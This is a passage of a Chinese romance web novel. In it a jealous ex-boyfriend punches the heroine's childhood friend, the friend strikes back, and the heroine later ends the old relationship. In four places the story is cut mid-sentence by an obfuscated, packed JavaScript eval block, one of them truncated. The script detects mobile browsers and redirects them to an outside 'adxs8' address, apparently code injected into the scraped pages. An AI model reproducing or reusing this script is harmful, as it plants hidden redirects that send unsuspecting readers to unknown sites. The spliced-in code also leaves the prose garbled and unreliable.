谢昀想了几天,几日茶饭不思,都在思索这件事。他气不过找上门,气势汹汹来抓奸夫。 谢昀死死盯着对面的人。 价值不菲的名牌衣着、一尘不染的黑色鞋面、打得规整严谨的领带,无一处不彰显这个男人的优越体面。 所以怪不得梁亦芝不让自己碰。 她喜欢的就是这种人么?只有这种人才配得上她么? 顾寅言想吻她的时候,她会偏过头避开么? 不,像他这样尊贵的人上人,梁亦芝当然是主动献上香吻,说不定早就给人投怀送抱了。 谢昀丝毫没意识到,他的思维已经因为嫉妒和仇恨完全扭曲。 谢昀几近癫狂地哼笑一声:“真是婊子配狗!一个假清高,一个真败类。你们真是天造地设的一对。” 顾寅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144597|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言没搭理他,但从眉眼的细节里,能看出他正压着火。给物业的电话打通,他沉声道:“地库电梯厅的保安呢?你们不想干了?什么闲杂人等都让进?” 那头吓得立即连连道歉,吩咐下属马上派人过来。 电话里的人还没讲完,谢昀一股劲冲上来,趁顾寅言打电话的功夫,扬起手给他来了一拳。 顾寅言偏头倒在地,手机屏拍在地面上,一下惊心的脆响。 看他低着头一声不吭,谢昀又是讥笑。一看就是弱不禁风的公子哥,这么不抗造。 “你们上了几次床了?梁亦芝在床上很害羞吧。”谢昀蹲下身,揪起顾寅言的衣领子,气息在他脸上大吐为快,“你知道么?她每次来见我,都会穿成套的内衣。明明骚的要死,表面上却总爱演欲拒还迎那一套。所以你到底是用什么方法把她给办了的?” 顾寅言偏着头没吭声。 刚刚自己下的那一拳挺重的,要不是估计保安马上就赶到,谢昀还想再给他那漂亮的脸蛋来上几拳,最好把他高挺的鼻梁骨给打断,让他没有资本再去四处蛊惑别人。 可谢昀也只是想想,他不擅长打架,能击中这一下已经是幸运。他松开人,脚后抬,向前狠狠踹了几脚顾寅言的小腿解愤。 气撒够了,他转身准备逃离现场。 刚走出去半步,肩膀传来一股猛烈的力量,将他整个人拽回去。还没反应过来,他面中部受到重重的一击,脸甩出去。整个人当即倒地,捂着脸嚎叫。 顾寅言立在他面前,阴影罩着躺倒在地、苦不堪言的谢昀。 他冷着脸,舔了舔自己的唇角,有极轻微的铁锈味。 故意让谢昀来那么一下,他还真以为自己占到便宜了。 顾寅言那一下是真的又稳又准,下了死手,打得谢昀眼冒金星。他刚刚幻想的将他鼻梁骨打断,到头来竟在他自己身上成了真。 谢昀鼻腔里涌出一股热流,唇角也出了血,头顶的灯光刺得他眼泛泪花。 “清高?败类?”顾寅言居高临下地看着他,“那你是什么?一只只敢躲在下水道里的老鼠么?” 顾寅言蹲下身,掐着他下巴,逼他直视头顶的白光:“梁亦芝平时应该经常夸你吧,否则我真想不通你这优越感究竟是从哪来的。” “我跟梁亦芝认识十年了。别说内衣,睡一张床都不知道多少次了。” “你的生日礼物都是我帮她挑的,你能进明炬也是因为梁亦芝。否则那一张轻飘飘的简历,你真以为明炬这么好混么?” 顾寅言语气淡淡,手下却是发了狠,谢昀感觉自己的下颌骨都快碎了,疼得他差点把舌头咬断。 顾寅言:“另外还要提醒你一下,别用你那种肮脏的思维来揣测别人的关系,管好你自己。” “我不想再从你嘴里听到关于梁亦芝的任何一个字。” 谢昀整张脸被掐得变形,他恍然顿悟了为什么当初梁亦芝推荐自己去这家公司。 而他明明资历尚浅,却能在短时间内做上部门组长。 他以为自己时来运转,明珠蒙尘,原来都是拖了女友的关系。 “是你……都是你……”谢昀呲牙咧嘴地尖叫,再次想要扑上来。 顾寅言把人往地上一推,放开他,拍拍衣袖上的尘土:“话不能乱讲,谢组长。你自己犯的错,大家都只是照规矩办事而已。” 他将自己的衣服下摆和领口整理妥当,又恢复了平时的那般温雅冷冽。 顾寅言扫一眼地上扭曲的人,只觉得烦躁,胸口发窒,透不过气来。 他抬手,解下了领口那条深色暗纹、价值四位数的领带,扔在谢昀手边。 顾寅言:“拿去擦一擦,出去的时候最好避开前同事,别丢了公司的脸面。” 他迈开步子,扬长而去。 12. 一支烟 顾寅言回到车上,给秘书小唐打电话:“今天所有日程都推后,帮我重新排一下吧。” 小唐疑惑:“可是……” “照我说的办。” 他现在这种状态去上班,只怕会招来非议。今天原本还有合作客户要见,他这样子去不合适。 小唐也听出来了,顾总今天大概是遇上了什么麻烦事,语气里没有一丝寰转的余地,他很少这么意气用事。 她立刻回复:“我知道了。” 顾寅言已经发话,小唐人也伶俐,知道该用什么说辞去打发。 她刚准备挂下电话,顾寅言又道:“找物业谈谈,去调车库电梯厅的监控。剩下的就交给你了。” “好,我这就去。” 顾寅言开车,回了自己家。 高档气派的独栋别墅,安安静静地坐落于市区。 回字形的设计,前庭的绿植像天然的屏风,将建筑主体包围在其中。顾寅言把车停进车库,上了楼。 阿姨正在打扫客厅,见顾寅言回了家,担心是临时有什么急事,问:“顾总,您怎么突然回来了?” “没事江姨。你忙你的。”顾寅言插着兜,径自上了楼。 他转身之时,敏锐的江姨看到了他嘴角殷红,有些受伤的模样,她赶紧追上前,在楼梯底下问:“顾总,你受伤了?需要我拿点药来吗?” 顾寅言这才想起,自己的嘴角裂开了点,他应道:“帮我把药箱拿上来吧。” “好。” 顾寅言上了二楼。回到卧室,进了衣帽间,他脱下外衣,扔进了一旁的脏衣篓,准备一会儿让江姨把这套衣服丢了。 他重新换好一身舒适的着装,正巧这时江姨敲响了房门,把药箱送了上来。 顾寅言开门接过:“谢谢。” 一开门,脸上的伤势惊到了江姨。她可从来没见过顾寅言这副样子,一看就是跟人打架了。 江姨暗暗猜想是谁这么大胆,竟然给把顾总给打了?一思索,估计是几个公子哥之间斗着玩呢,也不知是为了女人还是为了权欲。 顾寅言拎着药箱,看江姨脸上神色变幻,八成是短剧看多了,自己在那脑补呢。他扶着门框,出声打断她。 “江姨,帮我准备下午餐,今天不出去了。” 江姨恍然回神,连连应道:“好、好,我这就去。” 顾寅言阖上门,拿出药箱里的碘伏棉签和消炎药膏。来到穿衣镜前,他微扬起下巴,对着镜子,动作极轻地给自己处理伤口。 顾寅言眉头拧着,拿手指轻轻地在唇角抹上药膏,不时感到微微的刺痛。 其实不过是一点软组织挫伤,比起谢昀的鼻梁骨,根本不算什么大碍。 如果不是他先冒犯,他也不会下那么重的死手。 顾寅言看着镜子里自己那张脸,慢条斯理地上着药,一边回想。 谢昀说什么来着? 问梁亦芝让她碰过没有,还问他们上了几次床了。 谢昀在他面前大肆炫耀梁亦芝的隐私,作为朋友,他听不下去;作为男人,他打心底里鄙夷唾弃。 顾寅言在心里暗嘲,他也是昏了头,才会为梁亦芝担下这个奸夫的罪名。 就梁亦芝这个德行,还说什么要打破边界、认识新人,还要“玩花的”?放在她身上,简直没可能。 - 那头,梁亦芝今天约了Gary吃饭。 Gary的本名叫卫师贤,相比他的外貌和职业,这名字显得过于正经古板了。 他在一家服装品牌做带货主播,可能是受职业影响,Gary总是把自己的外形打扮的非常精致,让梁亦芝眼前一亮。 梁亦芝诚实道:“你别说。你这样打扮还挺帅的。” Gary笑道:“还好吧?咱们认识的那天,我也是做的这个发型啊。” “那天酒吧里的灯太暗了……其实我没太看清你。”梁亦芝不好意思地摸摸鼻子。 那天舞池里灯光闪烁,她只看清了个Gary的轮廓,听声音觉得这人好相处,便添加了联系方式。 Gary对此也并不介怀:“那更好了,说明咱俩能对上眼,靠的不是外表嘛。” 他们在商场里并肩走着,因为是工作日下午,商场里人并不多,反而有些沉寂。 Gary说:“能在工作日都有时间出来见面,也很巧啊。我之前跟朋友约会,都只能约在周末,他们都得上班。” 他们俩的工作性质还算相近,日程并不固定,每月的行程都得随工作安排决定。 梁亦芝双手拎着包在身前,好奇问:“做主播累吗?我在手机上经常刷到,要一直不停地讲四五个小时呢,真是个体力活。” Gary叹一口气:“就是说啊,我每天上班的时候,讲话讲的都快缺氧晕倒了。但其实光说话并不可怕,可怕的是公屏上一些人无聊的评论。” Gary刚开始直播时,排班时间段不太好,流量不高,直播间也没几个人。他知道自己播的不好,所以更加努力地不停输出,坚决不让场子冷下来。 可就是这样冷清的直播间反而招来了一群无聊至极的人,故意发弹幕找茬,说他讲话声音太娘,说他粉底色号惨白。 Gary有意忽视掉这些骚扰,专注着讲解产品,可那些留言始终停留在公屏上,因为没新人发言,总是挥之不去。 他控制不住地去在意它们,忍不住边说边去纠自己的错,反而嘴跟不上脑子,更加手忙脚乱。 后来,直播过的场次数量不断增加,他掌握了更多的直播技巧,也学会了对那些恶意的发言视而不见。 Gary:“他们只不过在网上无端发泄情绪,如果我真被他们攻击到了,那他们的目的就达到了。我的状态,也会影响到看直播的所有人,甚至我身边的人,我不想这样把恶意传播下去。” 梁亦芝点点头,十分赞同他的话:“你的心理真强大,所以你现在播得这么好都是有原因的。” “过奖啦!” 他们聊得正热,眼看时间也不早了,便转场去了一家餐厅吃晚餐。 吃饭时,梁亦芝接到电话,拿起一看,是何嫚。她抱歉地朝Gary示意了下,接起来:“喂?” “亦芝,你知道我听说了什么事儿吗?”何嫚的声音听起来有点距离,她应该是开了免提,手机放在一边。 梁亦芝顺着她问:“怎么了?” 何嫚:“顾寅言,被人打了!” 她边说还边笑,一整个幸灾乐祸:“真是让人唏嘘,咱们堂堂顾总竟然也会有这样一天呐。啧啧啧——” 顾寅言? 跟人打架? 梁亦芝有点震惊,一时难以消化这个信息。她紧接着问:“为什么会打架?他跟谁打架了?” “这就有意思了。”面对梁亦芝的追问,何嫚不紧不慢道,“这事据说是谢昀干的。谢昀今天早上回了明炬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144598|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计他是接受不了一时没了工作,只能回公司想把老板揍一顿出出气吧,毕竟顾寅言把他给开了。” “谢昀打的?”梁亦芝越听越震惊。 谢昀的性格温柔,待人接物从来都是彬彬有礼,她曾经连谢昀情绪暴走的样子都很少见到,而他竟然会主动打人,还打的顾寅言? 他凭什么打顾寅言? 梁亦芝越想越生气,她顾不得思考太多,心脏揪紧,问何嫚:“顾寅言人现在在哪,他没事吧?你见到他了吗?看起来怎么样?” “我刚来他家找他借车,见了一面。”何嫚故意夸大其词,“样子很惨烈哦。” 梁亦芝急道:“不行。那我现在去看看他。” 她抓起桌上的随身物品,塞进包里:“对了,你车怎么了?需要我帮忙吗?” “出了点小事……不过说来话长,下次咱们见面说吧。车已经送去修了,我暂时借了顾寅言的车开,他车多,我就算撞坏两辆也无所谓,你就别操心啦,好奇宝宝。” 挂了何嫚的电话,梁亦芝语带歉意,对Gary道:“真的很不好意思Gary,我朋友出了点事,我现在得过去看看他。咱们吃的也差不多了,你看……” Gary旁听了她的电话,也知道事态不一般,大方摆手:“没事没事!都吃完了,你去吧,时间也差不多了。要不我送你一下?” 梁亦芝婉拒了:“不麻烦你,我打个车就行。今天和你见面很开心,下次咱们再约!” “行。那你路上注意安全。” 梁亦芝拿上大衣和包包,出餐厅时,顺路把账单给买了,说好了她请客这事不能忘,否则看上去倒像是逃单的了。 梁亦芝打了车,来到顾寅言家所属的住宅区。这里安保工作戒备森严,不让外来车进入,梁亦芝干脆在门口下了车,走路进去。 到家门口,浅灰色的石材外墙透着股冷意,墙壁上挂着暖黄色的灯光,四下静悄悄的。 梁亦芝摁了几下门铃,没有人应。她想了想翻开手机微信,顾寅言之前给过她密码来着。 输入密码进门,梁亦芝自觉地找了双拖鞋换上,一边喊道:“顾寅言?人呢?你在家吗——” 她嗓音很亮,一楼的客厅层高很高,她的声音就这样在四壁之间撞来撞去,轻轻回荡。 没人回应,梁亦芝静下来,似乎听到有浅浅的音乐声漠然流淌。 她望了眼二楼,直觉音乐不是从上面传出来的,继续朝着声音方向摸索前进。 拖鞋脚后跟趿拉着,拍在地板上,一声接着一声,啪嗒啪嗒地响。 越往前,音乐声越近,梁亦芝循着声音过去,是从顾寅言庭院前的那间书房里传出来的。 她过去敲了敲门,没人应答,梁亦芝尝试按下门把手,直接开了。 音乐从狭窄的门缝中一点点泄出,音调婉转而悠长。 室内幽暗,微弱的灯光透过落地窗洒进来。 窗前的沙发上升起若有似无的白色烟雾,聚成一股,向上渺渺飘起,随着歌声再虚无地四散开。 梁亦芝一愣,抬手在门上扣了两声。 顾寅言正仰着头,枕在沙发上。 听见声响,他回头,淡淡瞥了一眼身后的人影。他放下手,将烟头在玻璃缸里揿灭。 “来了?” 盈盈的闪光熄灭。 烟头在他手底折了几下,碾到火星全无后,顾寅言丢下烟蒂,拿纸巾擦了擦手。 13. 玫瑰骑士 梁亦芝愣了一瞬,推开门走了进来:“我刚刚在外面喊你,你没听见?” “没。”顾寅言实话实说,“音乐声有点大。” 顾寅言指了指旁边的沙发,示意梁亦芝:“坐吧。” 她走到他身边,但没坐下。鼻尖闻到淡淡熏木似的烟草味,梁亦芝拧着眉,看着一旁的烟灰缸问: “你抽烟了?” 顾寅言没隐瞒:“刚抽了一根。” 得到回答,梁亦芝的胸口像是被这里残留的二手烟侵略了,有一种非常憋屈的感受。 “之前不是戒了吗?”梁亦芝看向一边的烟灰缸,星星点点的灰白烟屑落在里面。“我还以为你一旦戒了的东西,就不会再碰。” 梁亦芝知道,顾寅言对自己的约束很多。 她和谢昀在一起时,顾寅言从不会主动约她见面;和何嫚他们一起喝酒时,清醒到最后的那个也永远是他。 他会隐藏他的野心,也会克制自己的欲望。 顾寅言这人,就和他墙上挂着的那只钟摆一样。他有既定的节奏、他或许也会在两极之间游走。 但他绝对不会越过规定的界限。 除非钟摆断裂。 可现在那个人却对她说:“你很了解我?” 他口气轻佻,逗她玩似的开口。 跟顾寅言平淡如常的语气比起来,梁亦芝的脸色并不轻松。她听完他的话,嘴角朝下的角度没变半分,语态认真: “顾寅言,我不喜欢这样的玩笑。” “你真的很不会讲笑话。” 她看着他。 半晌,顾寅言先敛了表情,低头认错,给她解释:“这两天才抽的。” 梁亦芝听了,仍旧不觉得痛快。 她不喜欢顾寅言拿他们的关系开那样的玩笑。 任何人都不可以。 她是真心把顾寅言当成最好的朋友。事实上也确实没有其他人比她更了解他,在她所有的朋友里,她跟顾寅言认识的时间最长。 梁亦芝想想,又消了气。 借着一旁落地灯的光线,她仔细打量顾寅言的那张脸。 其他地方看着没什么大碍,就是嘴角处的血痂分外惹眼。像一副奇美的油画作品上,出现了那么一丁点的瑕疵,即便再微不可察,但它的存在就令人难以接受。 梁亦芝极为不爽地盯着顾寅言的嘴角,她都不敢想象那用了多大的力。 她跟顾寅言认识这么久,从没见他让自己受过什么伤。 都是她的原因,如果她没有那么冲动,谢昀也不会变得这么极端。 梁亦芝抿着唇,脸色越来越黯淡,手也紧握成拳,垂在身侧。 她一忍再忍,还是咽不下这口气:“不行,我要去找谢昀那个人渣算账!” 她腾地站起来转身就走,顾寅言握着手腕把人拉住:“别冲动,这是故意让了他一拳给他打的。我也还手了。” 梁亦芝挣开他,怒道:“你傻吗?干嘛白给人家揍一拳!这是打架,你以为是闹着玩?很好玩吗?出了事情怎么办?” 顾寅言看着她刘海下的那张小脸怔住。 怒气使然,又或者是因为赶路过来,她的头顶看着毛毛躁躁的,一双眼睛瞪得浑圆,眼角和嘴唇都嫣红,看起来被气得不轻。 他知道,她对这件事是真的上心了。 顾寅言平缓道:“让他是因为必须要他先动手,我才能合理还击,否则理亏的就是我了。” “至于我的伤,都是小事。”顾寅言扯着人,让她在沙发里坐下。 “他伤的可比我重。你就不心疼?” “我心疼他干什么?我巴不得他在医院里再关几天。”梁亦芝一屁股坐下来,想到顾寅言的伤势,又转过身去,两手掰着他的脸,上下左右翻来覆去端详:“我再看两眼,确定没事?这里还疼吗?” “不疼。” 梁亦芝像没听到似的,眼神还凝在他嘴角一处。 看着看着,过了几秒,她觉出一丝不对劲。顾寅言的唇形饱满,连接伤口的嘴角浅浅地陷下去。 他明明就是在忍笑! 梁亦芝把他的脸往边上一拨,“呵”一声,反嘲道:“算了,你顾大少爷怎么可能让自己伤着。八成老早就处理过了。” 她就是多余担心他。 也是,他本来就是这样一个珍重自己的大少爷,又怎么可能允许自己失态分毫。 顾寅言在一边,品味着梁亦芝的表情:“好了,别生气了。” 梁亦芝冷哼一声。 他转移话题,问:“刚刚从哪过来的?” 梁亦芝今天化了妆,睫毛卷翘,衣着打扮也十分用心,一看就是有重要约会。 梁亦芝说:“我刚和Gary吃了饭过来的。” 她强调:“我把人家丢在那,饭还没吃完,接到何嫚的电话就马不停蹄赶过来了,够意思吧?” 顾寅言配合地点点头,肯定她的表现。 他站起身道:“那也陪我喝两杯吧。” 说完,顾寅言转头,出了房间去拿喝的。 他回来时,室内映着窗外庭院昏暗的灯光,像染了一层霜。 歌声还未停止,流淌在这方寸之间,古典的弦乐搭配上空灵悠扬的女高音,有种让人心境沉淀的魅力。 顾寅言走到梁亦芝身边,把手里的瓶子放下。 梁亦芝侧目,看到他拿来招待她的碳酸水,问:“没搞错?” “没错。”顾寅言开了瓶子,推到她面前。“就喝这个。” 搞了半天……她还以为他要拿的是酒。 梁亦芝拎起瓶口。是她最爱喝的柠檬口味。 顾寅言问:“这音乐还记得吗?” 刚来的时候太急躁,一心想着他的伤势,梁亦芝没留心这轻柔的乐声。这会儿静下心来,她才听出:“是《玫瑰骑士》?” “是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144599|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾寅言在放的,是理查施特劳斯的歌剧《玫瑰骑士》。 故事讲的是和元帅夫人偷情被撞破的男主人公奥克塔维安,奉公爵之命,作为传递爱情信物的骑士,为公爵的未婚妻苏菲送去表达他爱意的银玫瑰。 然而在送上银玫瑰的那一刻,奥克塔维安和苏菲两人却一见钟情。经历百般曲折,最终元帅夫人也得知了奥克塔维安的变心,选择退出这场爱情纠葛,成全另外二人。 这会儿,CD正放到第二幕。骑士向苏菲献上那只饱含寓意的银玫瑰。 女中音和女高音相继开口,音调轻柔地向上蜿蜒,情意在音符之间流转。 听着倒是着实能暂时忘空一切。 梁亦芝举起瓶子,仰脖灌下一口。碳酸气泡伴着辛辣刺激涌入,在喉口跳跃,回味泛着微微的涩感。 他们两人都没说话,就那么默默坐着。耳边二重奏此起彼伏地唱响,这氛围也算不上无聊。 顾寅言盯着窗外。刚放下手里的瓶子,忽而感觉到自己肩头一沉。 他的手顿了一下。 梁亦芝人朝顾寅言倾斜着,太阳穴的位置轻轻抵在他肩膀上,没完全靠下去。 “顾寅言。”她念着他的名字。 “嗯。” “我问你,如果……这次出轨的是我,你还会帮我说话吗?” 或许是氛围所致,梁亦芝的心绪变得异常复杂,什么想法都冒出来了。 她也不知道自己为什么问这个问题,大概是失去了最爱的人,家人又不在身边,她能依靠的只有顾寅言。 顾寅言的房子很大,这间书房面朝庭院,设计得很开阔。 可此刻她却觉得这里非常小,小得就像一盏盅那么大,无尽的黑暗被盛满,她被倒扣在其中。 顾寅言动了唇,回答她:“你不会。” 梁亦芝:“为什么这么肯定?” “就是不会。” 他回答得斩钉截铁。 顾寅言太过熟悉梁亦芝。她性子从来老实本分,这辈子就没干过什么出格的事情。哪怕大学时对其他学生来说家常便饭的逃课,梁亦芝都能被吓得战战兢兢。 逃就逃了,最后还要抱着不安的心思不停内耗。 这样一个实心眼,想在外面妄作胡为,犯下跟谢昀同样的错误,那几乎是不可能的事。 梁亦芝靠在他肩头,眼神飘上去,抬眸看他,似乎是对他敷衍而笃定的回答不满。 她追问:“所以我说,如果。如果未来我出轨了其他人,你……还会站在我这边吗?” 窗外月光静谧,落地灯给他们打下一侧的光,半明半暗的轮廓映在几净的玻璃窗上,像夜晚湖面的倒影。 梁亦芝觉得窗户漏了风,不知何处来的凉意轻轻搔着她。 顾寅言说:“那你记得提前告诉我一声。” “告诉你?” “否则,”顾寅言嗓音清润,“我怎么帮你串供?” 14. 碳酸气泡 虽然这么说不太道德。 但永远有人站在自己这边的感觉,真的很好。 梁亦芝听完笑了,又佯装不在意,掩饰自己内心的膨胀。她离开他肩膀,重新坐正:“我才不会出轨的,你们男人果然都不是好东西。” 莫名其妙又成了攻击对象。 顾寅言深谙,不管他给出什么回答,最后梁亦芝都会说出这么一句。 她甚至还补充:“虽然我很感谢你这么说,但是如果你或者是蒋徊出轨了,我还是会通报给你们的女朋友的。这是原则问题。” 这种道德败坏的事情,放在任何一个人的身上,梁亦芝都不能原谅。 “你把我们当什么人了?”顾寅言眉梢微动。 “我们有最基本的道德底线,和法律常识。” “我知道。”她拿起手里的瓶子,在顾寅言的瓶颈处扣了下。 梁亦芝说:“如果连你们都不能相信的话,这个世界可能就真的没有我可以信任的人了。” 说到这,她又看着庭院外修剪齐整的花木,微微出神。 一只大手忽然罩在她头顶揉了下,毫无章法,但力道很轻: “别瞎想。”顾寅言说。 梁亦芝这个人其实很好哄。 只要你顺着她发毛的方向,轻轻呼噜呼噜几下,她很快就能平静下来。 可哪怕就是这样一个人,也依然有人不珍惜。 …… 谢昀接到梁亦芝的电话那天,他很意外。 虽然梁亦芝一直躲着不见他,但他仍旧相信她未必会那么决绝。他最熟悉梁亦芝,知道她心软,只要让她看到他诚恳的态度,她一定会回心转意。 果然,梁亦芝拨来的电话又让谢昀看到了一丝希望。 梁亦芝约他在咖啡厅见面。 来时她带了一大袋的东西,推门而入时,脚步不带一丝犹疑,径直在人群中锁定对象,来到谢昀面前。 谢昀仍像过去一样开口喊她:“芝芝,我……” 梁亦芝看了他一眼。 谢昀鼻子上的伤尚未好全,贴着纱布。可除了这一处,其他的地方都捯饬得很整洁,像是特意打扮了过来的。 梁亦芝忽略自己观察到的细节,把她带来的东西放到他面前。 梁亦芝说:“这里面是你给过我的所有东西,全部还给你。” 谢昀慌了神:“芝芝……你这是做什么?” 他双眉拧成了八字,眼神泛着酸楚:“是我有错在先,况且这些东西本来就是我买来送你的,你没必要还给我……” 梁亦芝点点头:“你也不需要是么?那我扔了。” 她拎上袋子,甚至都没有在他对面的位置坐下过,转身就要走。 谢昀连忙起身拦住她:“梁亦芝,我们好歹交往一场,你非要这么不留情面么?” 梁亦芝无动于衷:“我来就是想告诉你,不要再有无意义的幻想,不要再给我的任何软件发消息。也算是留给彼此的最后一点好印象。” 谢昀百口难辩。 他认识的梁亦芝是那么柔软的一个人,他是真的没想到她会如此坚决,要抹去他们的全部回忆。 谢昀不死心:“对,我是犯了错,但人无完人,是人都会犯错,而且我只有那么一次。” “该有的惩罚我也尝够了,现在你还不满意?我对你的心从来都是认真的,你有必要这样糟蹋我的感情吗?” 梁亦芝听完他的话,平静的脸上才闪过一瞬的悲凉。她震惊于自己看走了眼,竟然还走得如此离谱,她到底是怎么看上这样一个渣滓的? 梁亦芝笑了,反问:“这就是糟蹋了,谢昀?那我们在一起的时候,你跟另外一个人睡在床上又算什么?” “感情好到睡到一张床上,你们的友情实在是太伟大了。” 谢昀头昏脑胀,可还记得反驳:“那你呢?你跟顾寅言算什么?你敢说你们就完全清白?” “我怎么不敢?为什么不敢?” 梁亦芝每个字掷地有声,“我跟顾寅言一块长大,你最不该找麻烦找到他的头上!我原本以为我说的够清楚了,没想到你还是这么拎不清。” 梁亦芝缓缓深呼吸,忍着自己的恶心对他说: “谢昀,我们已经结束了,我警告你,不要再招惹我身边的任何人。” 见她竟为了一个男人护短,谢昀更气不过。他双眼发红:“到头来我跟你的感情,就连你的一个朋友都比不过么?” 梁亦芝只觉得他的发言可笑:“你当然比不过。今天就算是你跟顾寅言同时掉进水里,我都会先救他。为什么?因为他不仅比你干净,他的命还比你的值钱。” “最重要的是,他是我信任的人,而你什么都不是。” 她的口气冰冷地让谢昀心颤。谢昀在原地愕然失色,他不敢相信这些话会是从梁亦芝的嘴里说出来的。 平复下情绪,梁亦芝最后看他一眼:“本来这些东西还给你,是想让你看看还有没有能二手卖了的,毕竟你那么缺钱。但现在我看来,没有这个必要了。” 谢昀的心像错掉进海里的石头,彻底沉到了底。 梁亦芝拿了东西,刚要离开。 室内喧嚣,有路人朝他们的方向看来,伴着窃窃私语。 身后的声音再次响起: “梁亦芝,你不要太自以为是了。” 谢昀咬着牙,死盯着前方那道倩影:“也就只有你会觉得顾寅言是绝对干净的。你们不过是以朋友之名,做着跟我和赵泠一样的事情。” “你等着瞧。” 他口不择言,梁亦芝根本没把他的话放在眼里。 她毫不留恋地出了店门,阔步走到咖啡厅外。 门口放了两个大号的分类垃圾桶。黑色的桶身上沾满臭渍残渣,谢昀隔着玻璃窗,看见梁亦芝把他的东西一股脑地扔掷进去。 桶身晃荡两下,梁亦芝没再给过他任何一个眼神,转身离开。 - 后来,何嫚听说这件事的时候,其实是有些后怕的。 她抓着梁亦芝的手说:“你好歹跟我们说一声呢!你怎么敢自己去找他的?” “有什么不敢的。光天化日,众目睽睽,他能拿我怎么办?” 何嫚瞧着沙发里那小小的身躯,有时候她觉得梁亦芝这个人挺恐怖的。 她看起来单纯善良、性子柔软,可但凡被触及到雷区,她身上又会冒出一股不知从何而来的虎劲,风风火火的。 让人看了简直心里发毛。 何嫚怕她心情不好,主动邀请她:“那你晚上要不要跟我出去玩?开车带你去兜风。” 梁亦芝从播放着电视剧的平板上收回视线,问何嫚:“对了,你不是说上次车被撞了吗?” 何嫚嗐了一声:“说来话长。” 事件发生在几天前。 何嫚收到工作邀约,去出席了一个线下快闪活动,结束后参加完庆功宴,回程高速上,车子被人给追尾了。 后保险杠凹了进去,车尾灯也被撞碎了,但好在车里的人都没什么大事。 追尾的后车赶紧上来连连道歉,态度也很诚恳,立刻联系了保险公司,双方协商了赔偿金额。 对方车主是个女孩子,看起来年龄只比何嫚小一点,何嫚也不想多为难人家,和和气气地谈完,加了联系方式处理后续。 让何嫚没想到的是,这个女生非常的细心,事故之后的几天还常常来关心何嫚,车子维修的怎么样、有没有需要自己帮忙的。 甚至还反复叮嘱何嫚,去医院检查下,万一有什么不起眼的地方被忽略了。 何嫚觉得这小姑娘人也可爱,就和对方多聊了两句,言语间总忍不住想逗逗她。 两人的话题逐渐转向了日常生活,从兴趣爱好聊到星座和十六型人格,没有一个不匹配的。他们在手机上越聊越投缘、大有相见恨晚之势。 最重要的是,何嫚能感觉到,女孩子的语气之下,隐藏着和她相同的想法。 梁亦芝听完“哇”了一声:“这算不算因祸得福了?” 何嫚朝她眨了眨眼睛:“我最近想约她出来见见面呢,下次带你一起认识下。” 梁亦芝笑着应下,心里隐隐有些期待。不知道何嫚喜欢的女孩子,会是什么样的人呢。 - 今天白天没事,梁亦芝睡到一早九点多才起,先给自己榨了杯豆浆。 梁亦芝的家里有很大一面的落地窗,阳光透过玻璃,在干净的地面上留下整齐划一的光影块。 她把躺椅拉过来,盘腿坐上去,正好就坐在那光影分界线的边上,避开直射的阳光。她欣赏着楼下的风景,一口一口慢悠悠地啜着豆浆。 就这么发了五分钟呆,一旁的手机震起,是梁妈妈打来的。她划开接通: “妈——怎么啦?” 梁妈妈听见女儿久违的撒娇声,心里也变得轻松了些。 梁妈妈问:“亦芝,在做什么?” “我刚起来呢。正在喝豆浆。”怕她不相信似的,梁亦芝刻意又吮了一口,发出声音给她听。 梁妈妈没那么好糊弄,接着查岗:“早饭呢?吃了没有。” “豆浆还不算早饭啊?” “你总是这样,别想着光拿这些饮料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144600|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发。不吃早饭,肠胃会不舒服的,现在叫个外卖不是很方便吗?” 梁妈妈又在责怪她的懒惰,在家里时,女儿一举一动都有自己的照料,可一旦离开她身边,就总是随心所欲。 梁亦芝敷衍地应着:“知道了知道了,等下挂了电话我就点一个。你别操心了,等下拍了照发给你。” “行。我等着呢。”梁妈妈又问,“你今天不用去乐团排练?” “上午不用。下午再过去。” 